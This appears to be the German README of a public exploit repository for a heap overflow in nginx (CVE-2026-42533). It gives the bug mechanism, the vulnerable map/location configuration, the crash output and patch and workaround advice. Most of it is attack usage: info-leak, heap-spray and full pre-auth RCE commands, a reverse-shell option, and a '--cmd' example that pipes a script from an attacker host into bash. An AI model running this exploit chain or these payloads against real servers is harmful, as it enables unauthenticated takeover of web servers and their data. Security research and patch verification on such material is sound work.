
Exploit für einen Heap-Pufferüberlauf in nginx (CVE-2026-42533), der Pre-Auth-RCE durch Two-Pass-Capture-Clobbering ermöglicht. Enthält Module für Info-Leak, Heap Spray und Reverse Shell.
Remote-Code-Ausführung ohne Authentifizierung durch Two-Pass Capture Clobbering
Öffentlicher PoC veröffentlicht am 27.07.2026 — Warten Sie nicht, patchen Sie jetzt.
| CVE | CVE-2026-42533 |
| CVSS 4.0 | 9.2 (Kritisch) |
| Typ | Heap Buffer Overflow (CWE-122) |
| Betroffen | nginx 0.9.6 – 1.30.3 (stabil), 0.9.6 – 1.31.2 (Mainline) |
| Behoben | nginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1 |
| Offengelegt | 15.07.2026 (F5 / NGINX) |
| PoC veröffentlicht | 27.07.2026 |
| Forscher | Stan Shaw (0xCyberstan) |
| Plattform | Diagnose | Overflow | Absturz | Info-Leak |
|---|---|---|---|---|
| Ubuntu 24.04 x86_64 | ✅ | ✅ | ✅ SIGABRT | ⚠️ Teilweise |
CVE-2026-42533 ist ein kritischer Heap Buffer Overflow in der Two-Pass-Stringauswertungs-Engine von nginx. Wenn eine regex-basierte map-Direktive mit nummerierten Capture-Gruppen ($1, $2 usw.) interagiert, wird die gemeinsame Struktur r->captures zwischen dem LEN-Pass (Messen) und dem VALUE-Pass (Schreiben) stillschweigend überschrieben. Dies führt zu einer Größenabweichung:
In Kombination ermöglichen diese beiden Primitiven eine zuverlässige Remote-Code-Ausführung ohne Authentifizierung, die ASLR umgeht — demonstriert mit 10/10 Zuverlässigkeit auf Ubuntu 24.04.
┌─────────────────────────────────────────────────────────────┐
│ LEN-PASS (messen) │
│ $1 aus location ~ ^/api/(...)$ = "abc" → misst 3 Bytes │
│ $overflow_gadget = giant_header → misst 5000 Bytes │
│ Puffer zugewiesen: 5003 Bytes │
│ │
│ [ $overflow_gadget löst map-Regex aus → überschreibt $1 ] │
│ $1 ist jetzt = giant_header (5000 Bytes) │
│ │
│ VALUE-PASS (schreiben) │
│ $1 schreibt 5000 Bytes (LEN sagte 3!) → ÜBERLAUF! │
│ $overflow_gadget schreibt 5000 Bytes │
│ Gesamt geschrieben: 10000 Bytes in 5003-Byte-Puffer │
│ → 4997 Bytes laufen in benachbarten Heap über │
└─────────────────────────────────────────────────────────────┘
Der Überlauf beschädigt benachbarte Heap-Strukturen. Das primäre Ziel ist ngx_pool_cleanup_t:
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // Funktionszeiger → Überschreiben für RIP-Kontrolle
void *data; // Argument für handler
ngx_pool_cleanup_t *next; // nächster in der Kette
};
Wenn der Verbindungs-Pool zerstört wird, wird handler(data) aufgerufen → beliebige Codeausführung.
CVE-2026-42533/
├── exploit/
│ ├── exploit.py # Vollständige Exploit-Kette (Leak → Spray → Overflow → RCE)
│ ├── leak.py # Info-Leak-Modul (Heap-/libc-Pointer-Leak)
│ ├── overflow.py # Heap-Overflow-Modul (Crash / RCE-Auslöser)
│ ├── analyze.py # GDB-Analyse-Helfer zur Offset-Bestimmung
│ └── requirements.txt # Python-Abhängigkeiten
├── nginx/
│ └── nginx.conf # Verwundbare nginx-Konfiguration
├── Dockerfile # Docker-Build für Testumgebung (Ubuntu 24.04)
├── docker-compose.yml # Docker Compose für einfache Bereitstellung
└── README.md
requests# Diagnosemodus — zeigt Two-Pass-Abweichung (sicher, kein Absturz)
python3 exploit/overflow.py <target> --diagnose
Ausgabe:
header= 10: LEN= 13 actual= 13 internal_overflow= 7 ✓
header= 100: LEN= 103 actual= 103 internal_overflow= 97 ✓
header= 1000: LEN= 1003 actual= 1003 internal_overflow= 997 ✓
python3 exploit/overflow.py <target> --crash
Ergebnis auf Ubuntu 24.04:
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)
# Ubuntu 24.04 (bestätigt funktionsfähig)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install
# Verwundbare Konfiguration kopieren
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx
# Exploit von Ihrer Maschine aus ausführen
python3 exploit/overflow.py <server-ip> --diagnose
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose
python3 exploit/exploit.py <target> [options]
# Beispiele:
python3 exploit/exploit.py 192.168.1.100 # vollautomatisch
python3 exploit/exploit.py 192.168.1.100 --leak-only # nur Recon
python3 exploit/exploit.py 192.168.1.100 --crash # Verwundbarkeit verifizieren
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"
# Manueller Modus (wenn Sie bereits geleakte Adressen haben)
python3 exploit/exploit.py 192.168.1.100 \
--libc 0x7f1234000000 \
--heap 0x5a1234000000 \
--cmd "curl http://attacker/shell.sh | bash"
# Reverse Shell
python3 exploit/exploit.py 192.168.1.100 \
--reverse-shell --lhost 10.0.0.1 --lport 4444
python3 exploit/leak.py <target> [options]
# Stiller Modus (nur Adressen ausgeben)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890
python3 exploit/overflow.py <target> --crash # Worker zum Absturz bringen (PoC)
python3 exploit/overflow.py <target> --spray # nur Heap-Spray
Der Exploit erfordert dieses spezifische Muster in der nginx-Konfiguration:
# 1. Eine regex-basierte map (überschreibt Capture-Zustand)
map $http_x_overflow $overflow_gadget {
"~^(.+)$" $1; # Regex-Match überschreibt $1
default "";
}
# 2. Eine Regex-Location (erzeugt Captures)
server {
location ~ ^/api/(...)$ { # erzeugt $1, $2, ...
# 3. Sowohl Capture als auch map-Variable in derselben Direktive
return 200 "$1$overflow_gadget"; # ← Two-Pass-Senke
}
}
Verwundbare Konfigurationen erkennen mit dem öffentlichen Scanner:
Worker-PID: 12282
[Phase 1] Diagnose:
header=100: LEN=103, response=103 ✓
header=1000: LEN=1003, response=1003 ✓ (997 Byte interner Überlauf!)
[Phase 2] Heap-Korruption:
8000-Byte-Header → VALUE schreibt 16000 Bytes in 8003-Byte-Puffer
→ 7997 Bytes laufen über die Puffergrenze hinaus
Worker-PID: 12331 (NEU — alter Worker TOT!)
Fehlerprotokoll:
free(): invalid next size (normal)
worker process 12282 exited on signal 6 (core dumped)
# Upgrade auf gepatchte Versionen:
# nginx 1.30.4+ (stabil) / 1.31.3+ (Mainline)
# NGINX Plus R36 P7 / 37.0.3.1
Ersetzen Sie nummerierte Captures durch benannte Captures in map-Direktiven:
# VERWUNDBAR
map $http_foo $bar {
"~^(.+)$" $1; # nummerierter Capture → überschreibt gemeinsamen Zustand
}